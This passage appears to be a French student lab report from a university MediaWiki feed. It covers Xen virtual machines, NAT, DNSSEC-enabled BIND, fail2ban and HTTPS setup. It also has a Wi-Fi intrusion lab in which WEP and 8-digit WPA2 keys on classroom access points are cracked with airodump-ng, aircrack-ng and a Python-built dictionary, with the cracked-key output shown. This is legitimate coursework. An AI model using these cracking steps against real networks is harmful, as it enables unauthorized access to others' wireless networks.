    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Seconde partie ====&lt;br /&gt;
On s'interesse maintenant à la kracotte02 via la commande précédente on trouve :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un fichier Python un dictionnaire contenant toutes les possibilités sur 8 chiffres. Pour lancer ce programme on utilise Python3&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Le commande suivante doit être lancée&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin on peut lancer la méthode par force brute via la commande suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résutat peut-être observé via la commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Vlan ===&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l'on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour VRRP on peut entrer les commandes suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12190</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12190"/>
		<updated>2026-02-10T16:11:08Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ 'mac=00:16:3E:FA:18:CF,bridge=pont_ironman', 'mac=00:16:3E:FA:18:D0,bridge=SE4' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d'un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d'un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l'autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l'extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Effraction WIFI ===&lt;br /&gt;
&lt;br /&gt;
==== premiere partie ====&lt;br /&gt;
On travaille sur la zabeth13 parce que cette machine a une carte réseau fonctionnelle pour faire le TP.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d'identifier l'interface WIFI qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l'interface qui nous intéresse est wlan1&lt;br /&gt;
&lt;br /&gt;
Donc nous pouvons lancer la commande suivante afin d'identifier l'adresse IP de notre cracotte14.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte14 sur le channel 4 et l'adresse ip suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:5D  -62      231        0    0   4   54e. WEP  WEP         cracotte14&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons lancer la commande&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:5d -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans notre cas la carte réseau de la zabeth13 disfonctionne. Donc Mr Redon me donne une cléUSB Wifi pour pouvoir travailler. De plus les cracotte s'arrête au 13 donc je dois prendre la cracotte02.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après un certain temps on peut entrer la commande suivante pour voir si un résultat à été trouvé&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un KEY FOUND !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Seconde partie ====&lt;br /&gt;
On s'interesse maintenant à la kracotte02 via la commande précédente on trouve :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un fichier Python un dictionnaire contenant toutes les possibilités sur 8 chiffres. Pour lancer ce programme on utilise Python3&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Le commande suivante doit être lancée&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
